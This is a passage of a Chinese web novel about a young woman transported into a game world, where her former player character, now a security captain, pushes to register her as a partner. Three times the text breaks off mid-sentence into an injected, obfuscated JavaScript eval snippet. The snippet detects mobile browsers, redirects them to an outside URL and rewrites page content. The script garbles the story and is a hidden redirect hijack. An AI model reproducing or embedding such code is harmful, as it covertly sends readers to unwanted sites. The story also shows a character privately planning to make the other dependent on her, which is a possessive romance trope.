“我是装的,我就是想让你哄哄我。” “你不知道我见到你的第一眼有多开心,我听到你的声音时,就认出你了。” “可你一直没认出来我。”委屈。 “我错了,我不该这样的,吓到你了是吗?”李唯一左右晃着脑袋,焦急的边说边观察李乐生,却不知从何下手。 女人甚是懊悔的叹了口气,垂头丧气道,“你突然来到我的世界,我只顾着高兴了,却没考虑到你身处异世应该是很害怕的,我还要给你施加一层压力,我真过分。” 此刻,这位治安基地最优秀的治安队长,哪有半分往日的威风? 倒像个犯了错的人型犬,围着自己的主人转个不停。 “不是你的问题。”李乐生总算是开口说话了。 李唯一那颗紧张的几乎要提到嗓子眼的心总算是有点放松了。 但还是仔细地盯着李乐生,又赶紧冲去床头柜,拿到纸巾后,又迅速返回。 她轻轻的擦拭着李乐生的脸,嘴上却道,“不管是不是,我确实不该惹你哭的。” 李乐生乖乖站着,任由李唯一摆弄她。 她只抬头看着李唯一。 光明正大的,观摩着李唯一身上的每一处。 李唯一很高,很漂亮。 肩膀也比她的要宽厚,半挽着的袖子那处露出来的手臂并不用力,但依旧能看到很漂亮的肌肉。 她是个,各方面都超脱于常人的,极为优秀的女人。 “我控制了你很久吧,让你干了很多你不想干的事情,对不起。”李乐生的眼眶又开始发热,她下意识的吸气,不想让自己流眼泪。 李唯一的动作顿住。 她拧眉,疑惑一瞬后,又笑了。 “唉。” 李乐生正垂眸抑制着自己的哭意,听到李唯一的叹息,她抬头。 便看到李唯一无奈的神态。 “你为什么会觉得自己是在强迫我呢?”李唯一又问她。 李乐生吸吸鼻子,“我不知道你是有自己的思想的,让你去训练,去闯副本,在过主线的时候面临互动选项,都只是我点点手指就行了。” “我从来没有问过你的想法。”李乐生一字一句道,又小小的为自己辩解了一下,“但是我是真的不知道,不是明知故作的。” 被一个人强迫着干自己不喜欢的事,是很痛苦的。 作为一个游戏角色,李唯一别说是反抗了,连和她交流的途径都没有。 李乐生过去的很多年里,经历过太多“被父母强迫”的时光。 很幸运的是,她没有被父母同化,选择成为一个尊重别人的人。 而如今,这场离奇的穿越,让她忽然发现,原来自己曾有接近两年的时候“强迫”了一个人。 而那两年,对于李唯一来说,却是五年。 《我的人生物语养成手册》里,玩家一开始是高中生,且不同于她的世界,游戏里的高中是四年制。 从刚上高中开始,直到四年后毕业,再进入大学。 这段游戏里的时光,一直是被李乐生这个玩家控制的。 “我不是一开始就有思想的。”李唯一开口。 李乐生迷茫的看着她。 李唯一继续说道,“意识到我是一个游戏角色的时候,我的确有些恼怒。” “但那只是作为一个人,发觉自己是他人眼中的娱乐时的正常反应。” “你还记得我大学时上过的【时空理论】课吗?”李唯一问。 李乐生没说话。 看来是不记得了。 也对,一个人再怎么热爱游戏,也不可能细致到专门去学习虚拟游戏里的虚拟课程。 李唯一说道,“时空之间的联系是各种而样的,甚至有的时空是相互独立永不联系的,我的时空,与你的时空的联系,在你的世界里,就是一场游戏。” “你觉得你是在强迫我,但我却觉得,你是在培养我。” 李乐生:“培养?” 女人点头,“我所学到的知识,所拥有的异能,健壮的身体,强大的战斗能力和这副超越他人的美貌,是屏幕外的你,所培养的那些高数值的结果。” “因为你与众不同的培养,所以才拥有了如今的我。” “而你独特的思想也在影响着我。” “不是你强迫了我,而是你创造了我。” “你的爱赐予了我灵魂。” 说出最后一句话时,李唯一那双眼睛几乎要吞掉眼前的人。 气氛不对! 李乐生连忙后退几步,“咳咳。” “也…也没必要,说的这么…额……离谱。” 深情。 其实更契合这个词。 但李乐生总觉得怪怪的。 她不好意思的挠着自己的脸,没有注意到李唯一眼中的那份失落黯然。 脸好烫。 好烫好烫。 “要去参观一下吗?我工作的地方。”李唯一的声音响起。 李乐生抬头,眼中满是兴奋,“可以吗?不保密吗?” 李唯一:“普通人可以,但你是特殊的。” 李乐生:“太好了!” 她其实真的蛮好奇李唯一工作的地方的。 刚好参观完后,让李唯一帮帮忙,送她回去。 她想。 原本还觉得回去无望呢,但是老天有眼。 让她遇到了李唯一。 既然李唯一知道她的存在,也说到了两个时空的联系。 那么,应该是有助她回去的方法的。 “走吧。” 李乐生屁颠颠的跟在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866563|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人后面。 “我没上线的那段时间,你的时间还在流动啊。那你大学后两年是怎么过的?” “正常上课。” “没谈恋爱吗?” “……没有。” “好感的男生呢?或者女生呢?” “闲话之后再说,先参观吧。” “哦哦。” 训练室门口。 名为诺顿的男治安官一开口,室内几十人的目光全部投到了李乐生身上。 过多人的探究让她有些不自在,她抬头看了眼李唯一,求助似的眨眨眼睛。 李唯一却给了她一个“wink”,跟抛媚眼似的。 “嗨。”李乐生还是礼貌的冲着这些不认识的人挥挥手。 她并不知道,李唯一很享受这种被她依赖着的感觉。 女人莞尔一笑,冲着训练室内的众人介绍道,“她叫李乐生,是我的伴侣。得先去签到录入系统了,就不打扰大家了。” 训练室内静默一片。 直至李唯一走了后,大家都恍若未觉。 李乐生跟在后面纠结许久,看着李唯一闲庭信步的样子,一度以为自己听错了。 “你刚刚说的伴侣,不会是我想的那个意思吧?”李乐生还是鼓足勇气问了出来。 李唯一停下脚步,回头,“我想,伴侣应该也没别的意思。” “哎不是,等等等等!”李乐生有点脑子短路了,“我…你……我们……” 她是彻底混乱了,话是一丁点都说不清楚。 不停的指着自己,又指指李唯一。 语言系统再次崩溃。 “你忘了吗?你在这个世界是黑户。”李唯一一本正经的说道。 “我虽然是治安队长,也知道你不是入侵者,但上层考虑的是整个【厄斯星】的稳定,可不会像我这么好说话。” “现在是我的刻意隐瞒,所以你的身份还没有被大幅度的知晓。” “【厄斯星】这几年的防御系统很稳定,基本没有遇到过大型入侵,虽然对于星球居民的身份信息和监管渗透到了全方位,但和平时期相对来说,对于信息安全的检测也会松懈些。” 李唯一严肃且认真,“我没有办法给你搞来一个全新的身份去生活。” “但如果是作为我的伴侣,你至少不会面临被随时抓捕的风险。” 李乐生听懂了。 点点头。 李唯一暗喜的勾了勾嘴角。 下一秒听到李乐生来了句“可我没想留下来啊。” “你不能送我回去吗?” 李唯一的脸瞬间黑了下来。 她那双眼睛眯了眯,没有任何情绪的落在李乐生的身上。 尽管不显山水,但李乐生依旧敏锐的察觉到了李唯一的不满情绪。 “你不想让我走吗?”李乐生开口问道。 若是别人,李乐生一般只会自我内耗,怀疑自己是不是惹到对方不高兴了。 但是李唯一是个很特别的存在,正如对方所言,她的确很爱李唯一。 当时的她,将对自己的爱倾注在李唯一的身上。 她过去那些年没有得到过的、被破放弃的,以及被夺走的东西太多,考上大学后,远离家人后却也弥补不了那时缺失的情感。 所以对待着【李唯一】这个身份,十分的爱惜。 【李唯一】,从最初的名字,到完整的躯体样貌,都是李乐生创造的。 现实的她胆怯懦弱,所以她希望【厄斯星】的自己勇敢强大。 现实的她束缚太多,所以她希望【厄斯星】的自己自由自在不受约束。 这是她对自己的爱。 如今的李唯一虽然拥有了自己的思想,李乐生却并不失望。 她反倒有一种满足。 也许是因为现在李唯一认同曾经的她,这个人自她的手下诞生、觉醒、成长,就像一个从她的意识中脱离出来的孩子。 李乐生觉得她像一个母亲。 她曾渴望妈妈能够察觉到她的难过,并且愿意接纳她的难过。 但是妈妈没有。 而现在她正站在妈妈的位置上,她想,至少不要让李唯一经受她的痛苦。 “不想。”李唯一坦荡的说出了自己的真实想法。 “我想你呆在这里,你在那个世界并不开心。” “可是我的父母,朋友还在那个世界。”李乐生说道。 李唯一皱眉,不解,“可你说过,你的父母对你不好。为什么还挂念他们?” 李乐生:“他们不是十足的混蛋,只是给我的爱比弟弟少。” “父母与子女的矛盾远非一刀切就能解决的,你懂吗?”李乐生道。 李唯一少见的讥笑出声。 李乐生:? 随后白发女人道,“我懂不懂你还不清楚?” 哦。 她想起来了。 李唯一没爸妈。是她当时选的。 没办法啊,官方给的爸妈设定是相亲相爱一家人,她真的代入不进去。 7. 第 7 章 对于父母这个话题,李唯一并没有多计较。 联邦政府法案里明确规定了,任何国家对于拥有公民身份的孩童都需要进行全民抚养。 更别提【异能者】担负着对抗【异常】保护星球的使命。 身为【异能者】的孩子,享受着高端的教育和抚养资源。 【旧都】之中上至管理层,下至街边商铺的小产权老板,无一不是【异能者】。 普通人如果想要进入【旧都】,需要经过层层关卡的审查,甚至可以说,大多数人一辈子都不一定能踏入旧都一次。 除非他们的孩子是【异能者】,联邦政府会给予他们定期探望孩子的权限。 所以,父母这个角色,对于【旧都】里的孩子,其实更像是有着血缘关系的定期客人。 在【厄斯星】,只要是合法公民,一个人所享受的社会福利足以让他从生到死都不必工作。 “这种物质资料不需费尽心力就能极度满足的社会中,公民们是很乐于创造价值的。” “父母与孩子之间的关系更倾向于园丁与花草,他们很享受修剪花草的过程,如果这株花草他们并没有足够的能力去修剪的漂亮健康,就会交给政府培养。” “这是全民共识。”李唯一向李乐生解释着联邦政府的育儿法案和社会背景。 “我没有父母,不代表我的人格没有健全的成长,所以你不必愧疚。”李唯一不忘记安抚一下李乐生。 李乐生听着,似懂非懂的点了点头。 【厄斯星】的世界各处发展都已经超越现实了,人家星球领导人可是能带着整个星球进行【时空跃迁】的。 以前她考研的时候也学过,当社会进入理想时代,人们的欲望不会再执着于吃喝玩乐,而是享受劳动,乐于让自己创造价值。 他们的快乐是主动的服务社会。 【厄斯星】似乎就有这么点意思。 或者说,已经是这样的社会了。 “这里是露天的训练场,很多格斗对打会在这里进行,室内的场地太小,所以不好施展。”路过一处走廊的时候,大片的玻璃墙外,土地宽阔的训练基地映入眼帘。 李唯一中断话题,向身后的女人介绍。 “那里,林和冬正在比试。” 顺着李唯一指的方向,李乐生看到了两个身姿矫健的女人。 “哎?感觉有点眼熟?”李乐生趴在玻璃墙上,眯着眼睛。 但是那两人离的实在远,再怎么眯眼睛去缩小瞳孔的“有效孔径”,也不可能看的太清楚。 李唯一的手忽然勾住了她的衣领,李乐生被拉着向后退了几步。 “哎哎哎?怎么了呀?” 随后一只护目镜递到了她的眼前。 李乐生怔了一下,抬头。 李唯一挑眉,“戴上可以看的更清楚。” “已经开机了。”那只好看的手嗨还晃了晃护目镜。 李乐生双手接过,“谢谢。” 摸着那无框透明护目镜的外轮廓,她还有点小激动。 咱也是有幸体验一把高科技啊。 虽然她也不知道这个高科技到底是个什么样的。 女人缓缓戴上,只觉得太阳穴处有一瞬间的微颤,这种感觉并不难受,只是陌生。 下一刻她的眼前闪过好多数字和字母,密密麻麻的乱码在空中飞速流动,最终出现一道悬浮框。 她很没出息的“哇!”了一声。 “使用原理和你的手机差不多,不需要我教吧?”李唯一的声音响起。 “不用不用,我知道怎么做。”李乐生此刻兴奋的很,现在戴着的这个护目镜简直跟她看的科幻电影里那些超前科技一样。 没吃过猪肉,还没见过猪跑吗? 虽然那猪也不是真的。 她激动的压根控制不住脸上的笑,双手搓了搓,那双眼睛里兴奋探究的欲望甚是强烈。 随后女人抬起手,食指在空中轻轻一点,悬浮框里的东西再次出现了变化。 “哇哦!好神奇!”李乐生激动的双手握拳,还不望转头和李唯一说话。 像个拿到新玩具后小孩子似的。 接触到李乐生那双兴奋的眼睛,李唯一报以微笑,看着对方继续琢磨那护目镜。 显然李乐生已经忘了李唯一给她护目镜是用来做什么的了。 “这样就可以放大视野,还这么清晰?”李乐生的双手在面前做了个张开划动的动作。 “妈呀!这比望远镜还牛。” “这个粒子屏幕我甚至还能手动拖拽。”女人的右手做着捏东西的样子,拖到了一边。 悬浮框就被她的手拖了过去。 李乐生彻底沉浸在对护目镜的研究里,已经不知天地为何物了。 “李唯一,身高一米七五,性别女,诺城治安部A组一队队长,未婚……”李乐生又转过脑袋,看着李唯一,嘴巴里念着悬浮框上亮出的信息。 “这个东西,不会录入了【诺城】所有人的信息吧?”她问道。 李唯一摇头,“不止【诺城】。” “整个【厄斯星】的人,都会有身份信息,如果有新生儿出生或他人去世,也会更新信息的。”李唯一说道。 李乐生:“比我们的天网还牛。” 她回去的时候能不能带一把? 话说带回去后,没有【厄斯星】的终端设备,应该也不能用了吧? 说不定她们种花家自己就能研究出来呢? 李乐生又开始脑内风暴了。 “你不是要看她们比试吗?”李唯一敲了敲玻璃,“正是最精彩的时候。” 李乐生连忙转过头,转换成【观察模式】,迅速放大格斗场的画面。 “是抓我的那两个女治安官啊。” “嗯,我的手下。两个很棒的女孩,每日不是训练就是工作,治安部里的人都很佩服她们。” 这两个人身穿着战斗服,各自手拿一把匕首,互不相让。 兵器碰撞之间,一个忽然卸势侧闪,抬脚屈膝攻向对方腹部,另一个反应也极为迅速,手掌挡在身前拦住膝击,同时双腿迅速弯下,整个人向后倒去,腰部发力带动着整个人从对方的腿下转动,又在地上滚了一圈站定。 二人脱离搏斗状态,对视僵直着。 “嘶——”李乐生不由得手摸上了自己的腰部。 李唯一忍俊不禁,无声勾了勾嘴角。 “乖,咱不看嗷。”李乐生低头对着自己腰椎的部位道。 就刚刚对方下腰快要贴地的瞬间还能转着上半身来个一百八十度的平移,整个过程连三秒都没有。 这动作放李乐生身上,腰椎可能已经断了。 站在玻璃墙外将二人这场比试看完,李乐生都还意犹未尽。 这两人从武器格斗到后面变成了单身肉搏,你攻我挡,你退我进。 彼此之间的攻守之势不住转换,认真严肃的神态从始至终没有变过。 直到二人累的气喘吁吁,汗水相继落下,都还拼着股不服输的劲儿狠盯着彼此。 与其说是狠,倒不如说是坚毅,是顽强。 不断落下的汗滴和湿润贴肤的发丝呈现了二人疲惫的状态。 “好漂亮啊。”李乐生不由自主的赞叹。 李唯一听到这句赞叹,回头看着李乐生。 , 李乐生只是盯着格斗场的方向,眼神略带痴迷,还有羡慕。 “漂亮么?为什么这么说?”李唯一问。 “就是很漂亮。”李乐生又重复道,“全力以赴,即便筋疲力尽也不放弃,她们的眼睛都是亮晶晶的,感觉什么困难都不会打倒她们。” “看着她们,根本就移不开眼睛。这还不是漂亮吗?” 她要是也能活得这么漂亮就好了。李乐生想。 “嗯。”李唯一点头,认同。 场上的林和冬此刻都躺在了地上,二人正相视笑着,仿佛刚才的对峙不复存在一样。 “下次我可不会放过你的!” “拜托!下次我会赢你。” 两人喘着气,还不忘记放放狠话。 说完后,又双双闭上了眼睛,满足放肆的笑了起来。 李乐生并不知道她们说了什么,却也跟着笑了起来。 “你也很漂亮,只是缺了点自信。”李唯一忽然凑到她耳边,轻声说道。 李乐生转头,两个人的鼻尖几乎碰到了一起。 跟随视角转过来的悬浮框有一瞬间的扭曲,后又在李唯一的脑后重组。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866564|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李乐生此时已经注意不到悬浮框的变化了,李唯一那张放大的脸占据了她整个视野。 呼吸交错间,整个世界的声音忽然全都没了。 她在李唯一的金色眸子中看到了戴着护目镜的、小小的、慌张的自己,却又无法移开视线。 李乐生的指尖都不由自主地微微蜷缩。 直到,李唯一说话了。 “你不躲一下啊?” “什么?”李乐生没反应过来。 李唯一却笑了,像是发现了什么有趣的东西,或者说,是得到了某种答案。 窃喜的笑。 随后李唯一动了,她缓缓站直了身子,那张脸穿过悬浮框,紧接着抬手,伸到了李乐生的面前。 “闭上眼睛。”她顺便说着。 李乐生听话的闭上眼睛,黑暗的世界中,她清楚的感知到李唯一的手指轻轻的触碰了一下她的鼻尖。 随后,鼻梁上一轻,护目镜被对方取了下来。 再次睁开眼,李唯一将护目镜装进了裤兜里。 李乐生:“……” “你这是战斗装备吧?这么随意的装着吗?” “备用眼镜很多的,而且没那么容易坏。”李唯一耸耸肩。 “好了,我们一鼓作气吧。”她忽然又道。 李乐生:“什么一鼓作气?” 下一刻女人弯腰,伸出双手,直接将李乐生以公主抱的姿势横抱起来。 李乐生吓得抓紧了对方的肩膀,“你干嘛?” “在这里待得时间太长了,还有五十分钟录入大厅的人工服务台就要下班了。” “所以呢?”李乐生疑惑。 李唯一脸上挂着意味不明的笑,“要快点去登记啊。” “不能使用【时空跃迁】,所以我只能抱着你跑过去了。” “抓紧咯。” 没等李乐生开口,李唯一就低身冲了出去。 “啊!”李乐生下意识地换成了环着对方脖子的动作。 李唯一跑的太快了,快到李乐生觉得周围的世界都变成了模糊的方块,唯有这个抱着她的人,清晰的刺眼。 穿越过一个又一个建筑物,一个又一个林荫。 李唯一却毫不见累,呼吸依旧沉稳。 那一天,整个治安基地内,那么酒红色的身影迅捷矫健,似一股热烈的风。 纳德刚去递交了这次行动的报告材料。 回到训练室的第一时间,就发觉了气氛的诡异。 虽然大家都在训练,但是很明显,大部分人都有些心不在焉。 尤其是B组二队的队长诺顿,已经时不时的朝他这边看了好几眼了。 那目光虽然没有什么攻击性,但是频繁的太过了,他们这种治安官对于目光是极其敏感的。 纳德深吸了好几口气,心理暗示自己不要在意。 直到第六次吸气,总算是忍不住了。 “纳德……”还没等他开口,诺顿反倒忍不住了。 也好,省得他问了。 “诺顿队长,怎么了?”他放下手中的器材,转身望去,发现周围的人不约而同地都看向了他。 纳德:? 随后诺顿问出了让纳德大脑宕机的问题—— “你们队长什么时候谈的恋爱?” 沉默良久。 纳德脸上浮现出诡异的疑惑,“您在说什么?能再说一遍吗?” 他从不怀疑自己的听力,所以觉得是诺顿说错了话。 “纳德你不知道吗?”这时候旁人也开了口。 “李队长刚刚带了个女人跟我们介绍了一下,说是她的伴侣,今天就要去录入系统呢。” 纳德瞳孔地震。 “对了,她的伴侣也姓李。” “是叫李乐生吗?”纳德的脑袋里不由自主地就浮现出了这三个字。 “对对对!是这个名字。” “那位女士与我们这群人比起来,娇小又可爱呢。” …… 此时的纳德已经听不见周围人到底在说什么了。 他心里只有一个想法:我那大公无私的队长堕落了,她对一个【异常】一见钟情了。 他不想举报队长啊。 纳德绝望的晕了过去。 8. 第 8 章 二人一进录入大厅,就引来了一堆关注。 倒不是因为李唯一的身份,而是两个人的姿势。 高个子的白发女人怀中抱着位身形较为纤细的黑发女人,白发女人那张俊秀的脸上洋溢着止不住的开心。 怀中的人搂着她的脖子,整张脸都朝向女人的前胸,可见是比较害羞。 众人心下明了,【诺城】又要添一对幸福的伴侣了。 李乐生确实是有点羞耻,主要是李唯一抱着她跑过来的这一路上吸引了很多目光,其中还有李唯一认识的人,马路上更是有行驶的车子驻足停下张望着她们。 她脸皮薄,让李唯一放下她也没说动,才别过脸隔绝了那些目光。 奔跑的动作忽然停下。 就连周围的环境都安静了许久。 李乐生有些奇怪,再次转过头,看到了一大厅的人们竟然都看着她。 而且都还带着一股莫名的欣慰的笑。 “还剩二十多分钟,可以慢慢来了。”李唯一说着,将李乐生放了下来。 脚刚落地,她还没站定。 忽然从人群中传来一声询问,有一种明知故问的欣喜。 “你们是来登记伴侣关系的吗?” 李唯一循着声源处望过去,点头微笑。 还牵起了李乐生的手。 下一刻,大厅内响起了阵阵掌声。 这些人似是心有灵犀,齐刷刷的欢呼鼓掌,将他们对二人的祝福送上来。 李乐生的耳尖立马红了起来,随后蔓延至整张脸。那些祝福的掌声与笑声如同浪潮扑在了她的身上,她本要收回的那只手此刻反倒因为这种窘迫和羞耻,攥紧了些。 “快去吧,等会他们就要下班了。” 人群中,有一个老妇人走出来,慈祥和蔼的提醒道。 “对对对。虽说有自助服务,但这种缔造幸福的事情,还是要活生生的人参与,让工作人员亲眼见证才好。”另一名青年也笑着附和。 “快去吧。” 亮堂干净的大厅里,每个人的脸上都是真挚的微笑,催促着他们眼前这对年轻的同性爱人将她们的幸福录入政府的婚姻目录中。 “你这时候倒是知道把我放下来了。”李乐生抬起另一只手挡着自己的脸,眼睛却瞟向李唯一。 吐槽着对方这种略带戏弄的做法,“好多人都在看我。” 还不如一口气把她抱进去,然后又抱出去呢。 简直就是故意的。 李乐生脸红好似熟透了的苹果。 李唯一嘴角翘着的弧度自进门后就没落下去。 她低下头,凑近和李乐生说话。 “他们在祝福我们,我们应该是这个月第一对登记伴侣的…爱人。” 【爱人】那俩字吐出来时,二人之间的气氛暧昧到了极点。 李乐生吓得连忙撤步,哪知道李唯一按住了她的肩膀。 成功制止了她的动作。 “躲什么?”李唯一歪头,“你刚刚都没躲。” “我们不是爱人呀。”李乐生纠结的皱着眉,挣扎的说道。 “要不算了吧…我总觉得……有点奇怪。” 她说的磕磕巴巴的,但还是抬眼和李唯一对视,希望李唯一再想一想。 她知道李唯一是想要通过【登记伴侣】的方法让她可以在【诺城】正大光明的生活。 李唯一在来的路上就已经告诉过她,没有办法立刻送她回到自己的世界。 【厄斯星】是只进不出的。 别人可以跳入【厄斯星】的时间与空间,但【厄斯星】内的物质却没有办法跳出去。 就像李乐生,莫名其妙穿越到了【厄斯星】。 但通过原有的【时空隧道】离开【厄斯星】基本是不可能的。 联邦政府成立的【时空研究部】里至今有上千个人才汇聚着,星球各处的内部【跃迁】已经发展得很成熟了。 但论起对星球外的【时空跃迁】这一方面的认知,不过是蜉蝣撼山。 李乐生不是无理取闹的人,知道回去的希望渺茫,也不强求李唯一帮她。 但是李唯一说要利用【婚姻】让她可以生活,李乐生怎么想都没办法说服自己。 虽然李唯一一直向自己保证,她是自愿的,没有半分勉强。 而且也确实是李唯一提出了这个决策。 但真到了临门一脚的时候,李乐生还是犹豫了起来。 李唯一目前是单身,可若是明天,后天,或是未来她没有回去的某天,遇到了心动的人。 却碍于【伴侣】身份无法追求自己真正的爱人。 那她真的不是个人。 以前的【李唯一】是她的主控,是她所认为的另一个时空的自己,她对【李唯一】的爱是培养,但绝不是自由的。 但现在的【李唯一】是一个思想和灵魂都独立的人,那么【李唯一】就该是自由的,而不是被她束缚。 李唯一脸上的笑淡去,严肃几分。 这时候大厅内的人也看出了不对劲,有人悄悄离开,有人重新坐回了原位。 偶尔也有几个人还探究的看着二人。 但都默契的没有开口说话。 “你有自己的爱人?” 良久。 李唯一忽然冒出来这么一句话。 李乐生:“啊?” 她察觉到李唯一那只牵着她手的手指握力都加重了几分。 李唯一很是严肃的重复了一遍话,“你有自己的爱人吗?” 该死的。 她过于兴奋、过于急切的想要让李乐生尽快进入她的生活。 在对方睡觉的时候兴奋的规划了一切。 随后又马不停蹄的引导着李乐生进入她的计划。 现在只差一步了。 却想起来,她竟然忘了最重要的问题。 李乐生在她原本的世界该不会结婚了吧? 其实结婚了也无所谓,进入【厄斯星】的【异常者】基本是无法离开的。 所以李乐生其实就是单身。 但是,一想到李乐生的伴侣不是她,她的心中就有点不是滋味。 其实很久之前,当她意识到她与李乐生是两个时空的人时,当她发现李乐生消失了很久时,她已经做好了一个心理准备—— 李乐生未来的生活中,应该会有自己的爱人。 可现在,李乐生来到了她的世界。 李唯一就一点都不想承认那个“爱人”了。 “没有。我还是个牡丹呢。”李乐生回答。 “牡丹花?”李唯一眯眯眼睛。 什么意思? 李乐生立马意识到这是二人的文化差异。 “就是母胎单身,简称母单。意思是出后生一直没谈过恋爱的那种。”说到这里李乐生有点尴尬,“咳咳……不是我没有魅力哈,有人追我的。但是那些男的太傻屌了。” “跟他们谈恋爱我感觉我会折寿。” “那就没事了。”李唯一心里的石头落了地。 “走吧。不要浪费时间了。”李唯一抬脚就走。 “你不要替我操那些虚无的心。” 她知道李乐生在想什么,无非是觉得她以后会有自己的爱人,所以过不去心里的那道坎。 但李唯一心里清楚,她只会爱着李乐生。 过去是这样,未来也只会更甚。 只是这份感情目前是不能告诉李乐生的。 因为李乐生会逃。 她要逐渐的、缓慢的,让李乐生依靠她,爱上她。 让她连想逃的念头都没有。 李乐生只好跟着,但嘴上还是没忘嘟囔,“反正你以后遇到真爱没办法结婚那可别怪我哦……” 李唯一真想堵住李乐生的嘴。 “李队长。”拐进一道走廊时。 两个人被一个男人拦住。 是录入大厅的工作人员。 明显是久候多时。 “有什么事?”李唯一略微不满的皱眉。 “安娜部长正在等你。”男人指了指尽头的一个房门紧闭的房间。 “啧。” 女人不高兴了。 治安部部长,安娜·洛佩斯。 她是一位对【诺城】和【厄斯星】都有着极大贡献的女士。 年轻时作为治安官尽心尽力的处理【异常活动】,为此失去了自己的左腿。 不得已退居人后,在【旧都】的异能者培育基地,也就是异能者学院担任了很长一段时间的副校长。 同时也是李唯一当年的班级老师。 李唯一在毕业后进入治安部的第二年,安娜·洛佩斯也被联邦政府敲定,进入了【诺城】的治安部。 去年,她成为了治安部的最高官员——治安部部长。 二人刚进门所见的便是一个小型的会客厅,右侧还有一个房间。 李唯一被要求单独会面,李乐生被留在了会客厅。 “别怕,没人会伤害你的。我速战速决。”李唯一进去之前,又贴心的安抚了一下李乐生的情绪。 李乐生点头。 她倒没什么紧张的。 只要领导见的不是她,她基本就一直是一副无所谓的心态。 其实也是没招了。 李唯一刚打开那扇门,李乐生就听到里面传来女人的怒吼,还有一把锤子冲着李唯一的面门冲来。 那女人喊的是“兔崽子!” 李乐生被这突如其来的吼声吓得一个激灵。 李唯一几乎是推开门的瞬间的抬手接住锤子。 “滚进——” 那个“来”字就生了个前调,伴随着李唯一将门关上。 后面的话立马被拦住。 整个会客室瞬间静默下来。 好厉害的隔音。李乐生目瞪口呆。 此刻的房内,安娜正劈头盖脸的骂着李唯一。 “你长本事了?要不是录入大厅的工作人员联络我,我都不知道你今天要签入【婚姻目录】。” “你申请了吗?报告递上来了吗?我批准了吗?啊?” “在治安部为所欲为惯了,你是一点都不把治安部的规矩和程序放在眼里了是吗?” 李唯一低着头,乖顺的听着上司的批评。 没有丝毫反驳。 这种犯错就认罚的态度至少很端正。 安娜的那股气也降下去不少。 毕竟眼前的孩子是她最得意的学生。 安娜于心不忍,放软了语气,“唯一,你该知道,老师最看重你。” 即便是成为了部长,李唯一对安娜的称呼也都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866565|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师,很少和其他人一样用“部长”这种官方称谓。 “你知不知道自己是什么身份?你的关系网是受联邦直接监控的,今天随便带着别人来录入大厅签入【伴侣】系统,如果我没过来,你直接签入。” “联邦的监管部会第一时间接收,而你的ID信息里并没有申请报告,这是违背规则的。懂吗?” 李唯一点头,“我知道,一般来说会降职。” 安娜叹气,“你知道还这样做?” 李唯一抬起头,看着老师的眼睛,十分诚实,“普通的治安队员和小队队长的区别就是治安队长要花更多的时间去整理报告,整个小队的报告都要通过队长的手。在实际处理【异常】的战斗中,大家都是全力以赴的。” “降职并不影响我继续处理【异常】,那些没用的报告也不会占用我的时间,我可以有更多的时间陪我的爱人。” 安娜:? 这还有什么听不懂的。 她这个得意门生就是故意的。 “李、唯、一!”安娜气的牙痒痒。 “还有,老师。”李唯一十分认真的开口,无视了自己的老师兼领导的怒气,“我没有随便拉一个人,她也不是别人。” 安娜抓着桌上的一个花瓶就扔了过去。 李唯一抬手抓住花瓶口,面无表情的将花瓶放在了身旁的柜子上,陪着那把锤子。 “老师,我以前和您说过,我总能听到一个人的声音。” “您还记得吗?” 安娜生气的面容顿了一瞬,自然想起了李唯一说的这件事。 那还是在学院的时候。 刚入学没多久的李唯一找到了她,说起了【声音】。 有一个好听的女人的声音,偶尔会在李唯一的耳边响起。 她以为是某种【异常】入侵到了【旧都】,并且要抢占她的身体。 二人还来了治安部检查。 确实属于【异常】,但是找不到源头,也不知道如何解决。 当时的李唯一是学院和治安部高层重视的对象,每天都会提交报告。 报告内容无非是那个声音的内容。 但也属于机密性报告,全程由安娜负责,并定期将事件报告提交给治安部。 李唯一发觉,那个声音是针对她的生活展开的。 也是从那个声音中,才明白,自己的生活似乎有一部分是可以被对方看到的,她刻意的实验并总结数据,摸清了很多东西。 那是李乐生的声音。 是李乐生玩游戏的时候,吐槽游戏的话。 在那些话中,偶尔也夹杂着一些李乐生对自己生活现状的吐槽。 有憧憬,有不满,有不确定。 各种各样的情绪,陪伴在李唯一的身边。 当然,并不是每天每时每分都能听到的。 李唯一早就总结出了一个规律,大多数是她与那些【异常者】相遇或相处的时候,会听到。 偶尔在她训练的时候会听到。 这两个便是李乐生口中的【主线】和【副本】之类的东西。 而在其之外,基本很少能听到李乐生的声音。 从开始的警惕与不满,到之后的坦然接受,再后来,她会期盼会好奇这个声音会带来什么。 日子一天天过去,她爱上了这个声音的主人。 最后,这个声音消失了。 李乐生没有再上线了。 李唯一的生活从此只有自己了。 “你是说,她就是那个声音的主人?”安娜提问。 李唯一点头。 